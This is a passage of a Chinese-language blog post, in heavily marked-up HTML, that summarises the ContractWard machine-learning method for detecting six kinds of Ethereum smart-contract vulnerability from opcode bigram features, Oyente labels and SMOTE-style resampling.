class="vlist-r"><span class="vlist" style="height:0.31166399999999994em;"><span style="top:-2.5500000000000003em;margin-left:-0.13889em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight">i</span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>交易,然后状态从 ,<span class="katex"><span class="katex-mathml"><math><semantics><mrow><mi>S</mi><mo>→</mo><msub><mi>S</mi><mn>2</mn></msub></mrow><annotation encoding="application/x-tex">S \to S_2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.68333em;vertical-align:0em;"></span><span class="mord mathdefault" style="margin-right:0.05764em;">S</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">→</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.83333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.05764em;">S</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:-0.05764em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>而不是从 <span class="katex"><span class="katex-mathml"><math><semantics><mrow><mi>S</mi></mrow><annotation encoding="application/x-tex">S</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.68333em;vertical-align:0em;"></span><span class="mord mathdefault" style="margin-right:0.05764em;">S</span></span></span></span>到<span class="katex"><span class="katex-mathml"><math><semantics><mrow><msub><mi>S</mi><mn>1</mn></msub></mrow><annotation encoding="application/x-tex">S_1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.83333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.05764em;">S</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:-0.05764em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>。因此,如果此时处理 T,则状态将更改为另一个新状态 <span class="katex"><span class="katex-mathml"><math><semantics><mrow><msub><mi>S</mi><mn>3</mn></msub></mrow><annotation encoding="application/x-tex">S_3</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.83333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.05764em;">S</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:-0.05764em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">3</span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>。在上述情况下,<span class="katex"><span class="katex-mathml"><math><semantics><mrow><mi>T</mi></mrow><annotation encoding="application/x-tex">T</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.68333em;vertical-align:0em;"></span><span class="mord mathdefault" style="margin-right:0.13889em;">T</span></span></span></span> 在不同的块状态(block states)中处理,并且由预期事务序列的更改而产生漏洞。</li></ul><h5 id="调用堆栈深度攻击漏洞"><a class="markdownIt-Anchor" href="#调用堆栈深度攻击漏洞"></a> 调用堆栈深度攻击漏洞</h5><p>Callstack Depth Attack Vulnerability</p><p>在以太坊,在以太坊,合同可以通过某些指令调用其他合同,例如,例如:<code>:send()</code>、 <code>:call()</code>、<code>:delegatecall()</code>、<code>.transfer()</code>。但是,如果调用堆栈的深度超过阈值(threshold),除了<code>.transfer()</code>,其他操作不会引发异常而只会返回 false。如果不检查返回值,则调用方(caller)不会意识到调用失败。因此,合同应检查指令的返回值,以确定执行是否按计划进行。</p><h5 id="时间戳依赖"><a class="markdownIt-Anchor" href="#时间戳依赖"></a> 时间戳依赖</h5><p>Timestamp Dependency</p><p>当协定使用块变量(block variables)作为调用条件来执行某些关键操作(例如,sending tokens或作为生成随机数的种子)时,就会发生此漏洞。一些变量在块标题(block header),包括BLOCKHASH, TIMESTAMP, NUMBER, DIFFICULTY,<br />GASLIMIT和COINBASE,因此,原则上它们能顾被矿工更改。例如,矿工有权在900 秒以内的偏移来设置块的TIMESTAMP 。如果基于块变量传输加密货币,则矿工可以通过篡改这些块变量来利用这些漏洞。</p><h5 id="重入漏洞"><a class="markdownIt-Anchor" href="#重入漏洞"></a> 重入漏洞</h5><p>Reentrancy Vulnerability</p><p>重入漏洞是一个臭名昭著的漏洞。智能合约的特性是调用、利用来自外部合约的代码。触发外部合同或向帐户发送加密货币的功能需要提交外部调用(external call)。外部调用可能会被攻击者劫持,以强制合同执行重入代码(reentrant codes),包括回叫(calling back themselves)。因此,相同的代码重复执行,就像编程语言中的间接递归函数调用一样,该漏洞在 2016 年的 DAO 合同中被发现。</p><h2 id="设计实现"><a class="markdownIt-Anchor" href="#设计实现"></a> 设计实现</h2><p><img src="https://aliyun-typora-img.oss-cn-beijing.aliyuncs.com/imgs/20210412115655.png" alt="image-20210412115655738" /></p><h3 id="detection-models"><a class="markdownIt-Anchor" href="#detection-models"></a> DETECTION MODELS</h3><p>ContractWard由六个步骤构建。</p><ol><li>首先,我们从以太坊官方网站收集大量新鲜且经过验证的智能合约</li><li>源代码转换为操作代码,,然后简化操作代码。</li><li>从简化的合同操作代码中提取1619 维bigram特征, 并标记具有六种类型的漏洞的合同</li><li>我们采用One vs. Rest (OvR)算法进行多标签分类,其中 C1 、 C2 、 C3 、 C4 、 C5 和 C6 对应于整数溢出漏洞(Overflow)、整数下溢漏洞(Underflow)、事务排序依赖性( TOD )、调用堆栈深度攻击漏洞( Calltack )、时间戳依赖性(Timestamp)和重入漏洞((Reentrancy)。</li><li>为了平衡的示例,如 C1 vs 或 C2,我们直接执行分类。对于其余四种类型的漏洞,我们需要使用采样算法在分类前平衡它们,因为类不平衡(class imbalance) 。</li><li>在用于检测的平衡训练集(the balanced training sets)上构建检测模型</li></ol><h3 id="data-sets-labels-and-feature-space"><a class="markdownIt-Anchor" href="#data-sets-labels-and-feature-space"></a> Data Sets, Labels and Feature Space</h3><p>数据集(Data Sets):从以太坊官方网站收集 49502 份包含源代码的智能合约,在 2018 年 9 月之前已验证了智能合约。数据显然可靠、权威和可理解。数据集包含六种类型的漏洞的合同。数据集的说明显示在表1中。对于整数溢出漏洞和整数下溢漏洞,negative(invulnerable,无漏洞)与positive(vulnerable,有漏洞)示例的比率是平衡的。对于其余四种类型的漏洞,阴性与阳性的比率相当不平衡,甚至高达 100:1。阴性示例在多数类中,阳性示例无一例外地在少数类中。通常,如果一个类别与另一个类别的比率超过 5:1,则示例被视为类不平衡(class imbalance)。</p><center>TABLE 1 THE DESCRIPTION OF DATA SETS</center><p><img src="https://aliyun-typora-img.oss-cn-beijing.aliyuncs.com/imgs/20201015115657.png" alt="image-20201015115657264" /></p><p>标签(Labels):使用 Oyente来标记所有合同,每份合同都有六个标签。然后,手动检查标签的正确性。在每种类型的漏洞中,标签彼此独立。例如,具有多标签矢量的示例(如 [1 0 1 0 0 0] )表明第一个和第三个漏洞,并且 [0 0 0 0 0 0] 的示例理论上没有漏洞。</p><p>Oyente 于 2018 年 7 月更新,包括但不限于 (1) 通过向发送金额添加阈值(例如:sending gas > 2300 和sending tokens > depositing tokens)来减少重入漏洞的误报(false positives);(2)增加 Callstack 漏洞、整数溢出漏洞和整数下溢漏洞检测。(3)将可还原溢出(revertible overflow)视为溢出漏洞的误报。同时,许多论文 使用Oyente特作为比较的基准。故而假设 Oyente 生成的标签是可靠的。</p><p>特征空间(Feature Space):采用 n-gram 算法进行特征提取。N-Gram是指连续出现在文本中的n个单词。这是一个概率语言模型(probabilistic language model),鉴于一阶马尔科夫链假说(first-order Markov Chain hypothesis),其中单词只与前面的少数字有关,因此没有必要追溯到智能合约中的第一个操作代码。</p><ul><li>通过二进制字节大小的滑动窗口(sliding window),操作代码被分割成巨大的 n-grams (massive n-grams)。特别,unigrams、bigrams and trigrams是 n-gram 的示例,其中n分别是 1、2 和 3。</li><li>换句话说,下一个单词的显示取决于它前面的单词,即bigram;而下一个单词根据前面的两个单词出现,称为trigram。在这项工作中,我们使用bigrams作为特征。根据作者的统计,每份合同的运算码长度平均约为4364个,总共有100多种操作代码。因此,直接使用n-gram算法提取特征可能会导致特征数量过多导致的维数诅咒(the curse of dimensionality)。</li></ul><p>为了减少特征的维数,通过取消操作数(dislodging the operands)和将功能上相似的运算码识别为一类来简化操作代码。具体来说就是:</p><ul><li>可以删除每个推送指令(push instruction)后跟的操作数(operand)。</li><li>对于块信息说明(block information instructions),简化的 opcode 将作为六个操作代码的替换,这些操作码对 Timestamp 漏洞有同样的影响。因此,在处理之后,只剩下大约50个操作代码。表 II 中介绍了操作代码的简化规则。</li></ul><center>TABLE II THE SIMPLIFICATION RULES</center><p><img src="https://aliyun-typora-img.oss-cn-beijing.aliyuncs.com/imgs/20201015150142.png" alt="image-20201015150142362" /></p><p>如表 III 所示,简化后,从简化的操作代码片段中提取 bigram 功能。每个独特的 bigram 都是一个特征,最终我们提取 1619 维特征,用于识别漏洞。构造一个特征空间 (feature space,FS),其中每个合同都有其相应的特征向量。特征向量中的每个特征值计算为在该维度的bigram与合同中全部bigrams数量的比值。特征空间(FS) 在公式 1 中定义:</p><p><img src="https://aliyun-typora-img.oss-cn-beijing.aliyuncs.com/imgs/20201015151319.png" alt="image-20201015151319755" /></p><p>其中 <span class="katex"><span class="katex-mathml"><math><semantics><mrow><msub><mi>f</mi><mrow><mi>i</mi><mi>j</mi></mrow></msub></mrow><annotation encoding="application/x-tex">f_{ij}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.980548em;vertical-align:-0.286108em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.10764em;">f</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.311664em;"><span style="top:-2.5500000000000003em;margin-left:-0.10764em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathdefault mtight">i</span><span class="mord mathdefault mtight" style="margin-right:0.05724em;">j</span></span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.286108em;"><span></span></span></span></span></span></span></span></span></span> 是 <span class="katex"><span class="katex-mathml"><math><semantics><mrow><msub><mi>j</mi><mrow><mi>t</mi><mi>h</mi></mrow></msub></mrow><annotation encoding="application/x-tex">j_{th}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.85396em;vertical-align:-0.19444em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.05724em;">j</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.33610799999999996em;"><span style="top:-2.5500000000000003em;margin-left:-0.05724em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathdefault mtight">t</span><span class="mord mathdefault mtight">h</span></span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 合同中 <span class="katex"><span class="katex-mathml"><math><semantics><mrow><msub><mi>i</mi><mrow><mi>t</mi><mi>h</mi></mrow></msub></mrow><annotation encoding="application/x-tex">i_{th}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.80952em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathdefault">i</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.33610799999999996em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathdefault mtight">t</span><span class="mord mathdefault mtight">h</span></span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> bigram 的特征频率,介于 0 和 1 之间。定义 <span class="katex"><span class="katex-mathml"><math><semantics><mrow><msub><mi>n</mi><mi>i</mi></msub></mrow><annotation encoding="application/x-tex">n_i</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.58056em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathdefault">n</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.31166399999999994em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight">i</span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>,<span class="katex"><span class="katex-mathml"><math><semantics><mrow><msub><mi>c</mi><mi>j</mi></msub></mrow><annotation encoding="application/x-tex">c_j</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.716668em;vertical-align:-0.286108em;"></span><span class="mord"><span class="mord mathdefault">c</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.311664em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight" style="margin-right:0.05724em;">j</span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.286108em;"><span></span></span></span></span></span></span></span></span></span> 作为 <span class="katex"><span class="katex-mathml"><math><semantics><mrow><msub><mi>j</mi><mrow><mi>t</mi><mi>h</mi></mrow></msub></mrow><annotation encoding="application/x-tex">j_{th}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.85396em;vertical-align:-0.19444em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.05724em;">j</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.33610799999999996em;"><span style="top:-2.5500000000000003em;margin-left:-0.05724em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathdefault mtight">t</span><span class="mord mathdefault mtight">h</span></span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 合同中 <span class="katex"><span class="katex-mathml"><math><semantics><mrow><msub><mi>i</mi><mrow><mi>t</mi><mi>h</mi></mrow></msub></mrow><annotation encoding="application/x-tex">i_{th}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.80952em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathdefault">i</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.33610799999999996em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathdefault mtight">t</span><span class="mord mathdefault mtight">h</span></span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> bigram 发生的数量;并定义 <span class="katex"><span class="katex-mathml"><math><semantics><mrow><msub><mi>n</mi><mrow><mi>a</mi><mi>l</mi><mi>l</mi></mrow></msub></mrow><annotation encoding="application/x-tex">n_{all}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.58056em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathdefault">n</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.33610799999999996em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathdefault mtight">a</span><span class="mord mathdefault mtight" style="margin-right:0.01968em;">l</span><span class="mord mathdefault mtight" style="margin-right:0.01968em;">l</span></span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>,<span class="katex"><span class="katex-mathml"><math><semantics><mrow><msub><mi>c</mi><mi>j</mi></msub></mrow><annotation encoding="application/x-tex">c_j</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.716668em;vertical-align:-0.286108em;"></span><span class="mord"><span class="mord mathdefault">c</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.311664em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight" style="margin-right:0.05724em;">j</span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.286108em;"><span></span></span></span></span></span></span></span></span></span> 作为同一合同中所有bigram发生的总和。</p><p><img src="https://aliyun-typora-img.oss-cn-beijing.aliyuncs.com/imgs/20201015151308.png" alt="image-20201015151307992" /></p><p>如果合同中其中一个bigram特征未出现,则相应的 <span class="katex"><span class="katex-mathml"><math><semantics><mrow><msub><mi>f</mi><mrow><mi>i</mi><mi>j</mi></mrow></msub></mrow><annotation encoding="application/x-tex">f_{ij}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.980548em;vertical-align:-0.286108em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.10764em;">f</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.311664em;"><span style="top:-2.5500000000000003em;margin-left:-0.10764em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathdefault mtight">i</span><span class="mord mathdefault mtight" style="margin-right:0.05724em;">j</span></span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.286108em;"><span></span></span></span></span></span></span></span></span></span>为 0。</p><h3 id="training-sets"><a class="markdownIt-Anchor" href="#training-sets"></a> Training Sets</h3><p>通常,训练集可以包括从监督分类(supervised classification)中从整个数据集中随机选择的多达 70% 的样本。 然而,在这项工作中,如前所述,训练集不平衡,因为分类类别大致不能平均表示。例如,典型的不平衡数据集(a typical imbalanced data sets)可能包含 97% 阴性的合同示例和 3% 易受攻击的合同示例。如果所有示例都被确定为无漏洞的示例,则预测的准确性为 97%。但是,漏洞检测旨在获取易受攻击合同示例中的高召回率(high recall,R) 和精度 (precision,P)。因此对于不平衡的数据集,只有高精度显然不合适。</p><p>召回率 / 查全率 (<span class="katex"><span class="katex-mathml"><math><semantics><mrow><mi>r</mi><mi>e</mi><mi>c</mi><mi>a</mi><mi>l</mi><msub><mi>l</mi><mi>k</mi></msub><mo>=</mo><mfrac><mrow><mi>T</mi><mi>P</mi></mrow><mrow><mi>T</mi><mi>P</mi><mo>+</mo><mi>F</mi><mi>N</mi></mrow></mfrac></mrow><annotation encoding="application/x-tex">recall_k=\frac{TP}{TP+FN}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.84444em;vertical-align:-0.15em;"></span><span class="mord mathdefault" style="margin-right:0.02778em;">r</span><span class="mord mathdefault">e</span><span class="mord mathdefault">c</span><span class="mord mathdefault">a</span><span class="mord mathdefault" style="margin-right:0.01968em;">l</span><span class="mord"><span class="mord mathdefault" style="margin-right:0.01968em;">l</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.33610799999999996em;"><span style="top:-2.5500000000000003em;margin-left:-0.01968em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight" style="margin-right:0.03148em;">k</span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:1.275662em;vertical-align:-0.403331em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.872331em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathdefault mtight" style="margin-right:0.13889em;">T</span><span class="mord mathdefault mtight" style="margin-right:0.13889em;">P</span><span class="mbin mtight">+</span><span class="mord mathdefault mtight" style="margin-right:0.13889em;">F</span><span class="mord mathdefault mtight" style="margin-right:0.10903em;">N</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathdefault mtight" style="margin-right:0.13889em;">T</span><span class="mord mathdefault mtight" style="margin-right:0.13889em;">P</span></span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.403331em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span></span>):指的是被预测为阳性例的占总的阳性例的比重</p><p>精准度 / 查准率(<span class="katex"><span class="katex-mathml"><math><semantics><mrow><mi>p</mi><mi>r</mi><mi>e</mi><mi>c</mi><mi>i</mi><mi>s</mi><mi>i</mi><mi>o</mi><msub><mi>n</mi><mi>k</mi></msub><mo>=</mo><mfrac><mrow><mi>T</mi><mi>P</mi></mrow><mrow><mi>T</mi><mi>P</mi><mo>+</mo><mi>F</mi><mi>P</mi></mrow></mfrac></mrow><annotation encoding="application/x-tex">precision_k=\frac{TP}{TP+FP}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.85396em;vertical-align:-0.19444em;"></span><span class="mord mathdefault">p</span><span class="mord mathdefault" style="margin-right:0.02778em;">r</span><span class="mord mathdefault">e</span><span class="mord mathdefault">c</span><span class="mord mathdefault">i</span><span class="mord mathdefault">s</span><span class="mord mathdefault">i</span><span class="mord mathdefault">o</span><span class="mord"><span class="mord mathdefault">n</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.33610799999999996em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight" style="margin-right:0.03148em;">k</span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:1.275662em;vertical-align:-0.403331em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.872331em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathdefault mtight" style="margin-right:0.13889em;">T</span><span class="mord mathdefault mtight" style="margin-right:0.13889em;">P</span><span class="mbin mtight">+</span><span class="mord mathdefault mtight" style="margin-right:0.13889em;">F</span><span class="mord mathdefault mtight" style="margin-right:0.13889em;">P</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathdefault mtight" style="margin-right:0.13889em;">T</span><span class="mord mathdefault mtight" style="margin-right:0.13889em;">P</span></span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.403331em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span></span>):指被分类器判定阳性例中的阳性样本的比重</p><p>在我们的训练集中,对于某些类型的漏洞,阴性和阳性示例之间的比率相当不平衡,甚至高达 100:1。为了解决这个问题,我们采取措施减少训练集中的分类不平衡影响(the class-imbalance impact)。在细节上,采用</p><ul><li>合成少数类(Synthetic Minority Oversampling Technique,SMOTE),SMOTE是一种过采样技术(oversamplin technique),在少数类之间插值以产生额外的类。当使用 SMOTE 算法时,可能会生成具有无效信息的样本,从而增加少数类的重叠。</li><li>SMOTE和TomekLinks的组合(SMOTETomek),将少数类的数量扩展至多数类的数量级;SMOTETomek 是一种组合采样技术(combined sampling technique),其使用 SMOTE 的过采样,以及可以删除具有邻域关系(Tomek’s links)的样本的下采样(undersampling)。因此,它可以在采样过程中删除无用的样本。</li><li>它们都支持多标签重新采样(multilabel resampling)。表四介绍了原始训练集的比例、SMOTE 平衡的训练集后的比例以及 SMOTETomek 平衡的训练集后的比例。我们采用基于平衡数据集的五种监督学习算法,以实现多标签分类。</li></ul><p>但是,SMOTETomek 是一种组合采样技术(combined sampling technique)。其使用 SMOTE 的过采样后跟下采样,可以删除具有邻域关系的样本(Tomek 的链接)。因此,它可以在采样过程中删除无用的样本。它们都支持多标签重新采样。表四介绍了原始培训组的比例、与 SMOTE 平衡的训练集的比例以及与 SMOTETomek 平衡的训练集在类别中的比例。我们采用基于平衡数据集的五种监督学习算法,以实现多标签分类。</p><center>TABLE IV THE RATIOS OF POSITIVE TO NEGATIVE SAMPLES AFTER SAMPLING</center><p><img src="https://aliyun-typora-img.oss-cn-beijing.aliyuncs.com/imgs/20201015153526.png" alt="image-20201015153526273" /></p><h3 id="classification-algorithms"><a class="markdownIt-Anchor" href="#classification-algorithms"></a> Classification Algorithms</h3><p>在训练集中有 <span class="katex"><span class="katex-mathml"><math><semantics><mrow><msub><mi>y</mi><mi>i</mi></msub><mo>∈</mo><mrow><msub><mi>C</mi><mn>1</mn></msub><mo separator="true">,</mo><msub><mi>C</mi><mn>2</mn></msub><mo separator="true">,</mo><msub><mi>C</mi><mn>3</mn></msub><mo separator="true">,</mo><msub><mi>C</mi><mn>4</mn></msub><mo separator="true">,</mo><msub><mi>C</mi><mn>5</mn></msub><mo separator="true">,</mo><msub><mi>C</mi><mn>6</mn></msub></mrow></mrow><annotation encoding="application/x-tex">y_i\in{C_1,C_2,C_3,C_4,C_5,C_6}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7335400000000001em;vertical-align:-0.19444em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.03588em;">y</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.31166399999999994em;"><span style="top:-2.5500000000000003em;margin-left:-0.03588em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight">i</span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">∈</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.8777699999999999em;vertical-align:-0.19444em;"></span><span class="mord"><span class="mord"><span class="mord mathdefault" style="margin-right:0.07153em;">C</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:-0.07153em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.07153em;">C</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:-0.07153em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.07153em;">C</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" 